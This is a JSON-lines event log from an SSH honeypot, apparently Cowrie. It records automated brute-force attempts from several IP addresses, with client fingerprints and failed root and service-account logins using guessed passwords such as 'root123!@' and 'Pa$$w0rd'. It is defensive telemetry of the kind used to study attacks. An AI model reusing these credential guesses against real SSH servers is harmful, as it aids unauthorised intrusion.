{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:18:32.940669Z","src_ip":"41.181.156.205","session":"937376804c5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123!@","message":"login attempt [root/root123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:18:33.970404Z","src_ip":"41.181.156.205","session":"937376804c5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:18:35.224458Z","src_ip":"41.181.156.205","session":"937376804c5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.156","src_port":9150,"dst_ip":"159.203.135.109","dst_port":22,"session":"77f3a510f94f","protocol":"ssh","message":"New connection: 205.254.166.156:9150 (159.203.135.109:22) [session: 77f3a510f94f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:19:07.049205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:19:07.054104Z","src_ip":"205.254.166.156","session":"77f3a510f94f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:19:07.266374Z","src_ip":"205.254.166.156","session":"77f3a510f94f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cathy1234","message":"login attempt [root/cathy1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:19:08.148081Z","src_ip":"205.254.166.156","session":"77f3a510f94f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:19:09.363545Z","src_ip":"205.254.166.156","session":"77f3a510f94f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":60116,"dst_ip":"159.203.135.109","dst_port":22,"session":"d49d35a3be8d","protocol":"ssh","message":"New connection: 2.27.36.16:60116 (159.203.135.109:22) [session: d49d35a3be8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:19:11.171411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:19:11.179395Z","src_ip":"2.27.36.16","session":"d49d35a3be8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:19:11.283193Z","src_ip":"2.27.36.16","session":"d49d35a3be8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2018","message":"login attempt [root/Admin2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:19:11.675125Z","src_ip":"2.27.36.16","session":"d49d35a3be8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:19:12.780816Z","src_ip":"2.27.36.16","session":"d49d35a3be8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":37624,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fc4a3eed731","protocol":"ssh","message":"New connection: 190.85.41.170:37624 (159.203.135.109:22) [session: 7fc4a3eed731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:19:17.007094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:19:17.012048Z","src_ip":"190.85.41.170","session":"7fc4a3eed731","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:19:17.087563Z","src_ip":"190.85.41.170","session":"7fc4a3eed731","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@Test","message":"login attempt [root/123@Test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:19:17.417760Z","src_ip":"190.85.41.170","session":"7fc4a3eed731","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:19:18.496677Z","src_ip":"190.85.41.170","session":"7fc4a3eed731","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":47338,"dst_ip":"10.17.0.5","dst_port":22,"session":"87a951805d49","protocol":"ssh","message":"New connection: 43.135.166.146:47338 (10.17.0.5:22) [session: 87a951805d49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:19:29.357043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:19:29.361708Z","src_ip":"43.135.166.146","session":"87a951805d49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:19:29.430607Z","src_ip":"43.135.166.146","session":"87a951805d49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa$$w0rd","message":"login attempt [root/Pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:19:29.738455Z","src_ip":"43.135.166.146","session":"87a951805d49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:19:30.810911Z","src_ip":"43.135.166.146","session":"87a951805d49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":54612,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ba597b5ef73","protocol":"ssh","message":"New connection: 2.27.36.16:54612 (159.203.135.109:22) [session: 4ba597b5ef73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:20:37.658900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:20:37.665967Z","src_ip":"2.27.36.16","session":"4ba597b5ef73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":51700,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c726171d2f5","protocol":"ssh","message":"New connection: 190.85.41.170:51700 (159.203.135.109:22) [session: 9c726171d2f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:20:37.727795Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:20:37.733142Z","src_ip":"190.85.41.170","session":"9c726171d2f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:20:37.768558Z","src_ip":"2.27.36.16","session":"4ba597b5ef73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:20:37.810979Z","src_ip":"190.85.41.170","session":"9c726171d2f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:20:38.137321Z","src_ip":"190.85.41.170","session":"9c726171d2f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xbm","message":"login attempt [root/xbm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:20:38.202307Z","src_ip":"2.27.36.16","session":"4ba597b5ef73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:20:39.212782Z","src_ip":"190.85.41.170","session":"9c726171d2f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:20:39.319029Z","src_ip":"2.27.36.16","session":"4ba597b5ef73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.166.146","src_port":38460,"dst_ip":"10.17.0.5","dst_port":22,"session":"7296a7302590","protocol":"ssh","message":"New connection: 43.135.166.146:38460 (10.17.0.5:22) [session: 7296a7302590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:20:52.678278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:20:52.683091Z","src_ip":"43.135.166.146","session":"7296a7302590","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:20:52.752567Z","src_ip":"43.135.166.146","session":"7296a7302590","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:20:53.063444Z","src_ip":"43.135.166.146","session":"7296a7302590","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:20:54.136685Z","src_ip":"43.135.166.146","session":"7296a7302590","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.156","src_port":61242,"dst_ip":"159.203.135.109","dst_port":22,"session":"61c58aff958e","protocol":"ssh","message":"New connection: 205.254.166.156:61242 (159.203.135.109:22) [session: 61c58aff958e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:21:00.669635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:21:00.675208Z","src_ip":"205.254.166.156","session":"61c58aff958e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:21:00.890050Z","src_ip":"205.254.166.156","session":"61c58aff958e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123!@","message":"login attempt [root/root123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:21:01.774223Z","src_ip":"205.254.166.156","session":"61c58aff958e","protocol":"ssh"}
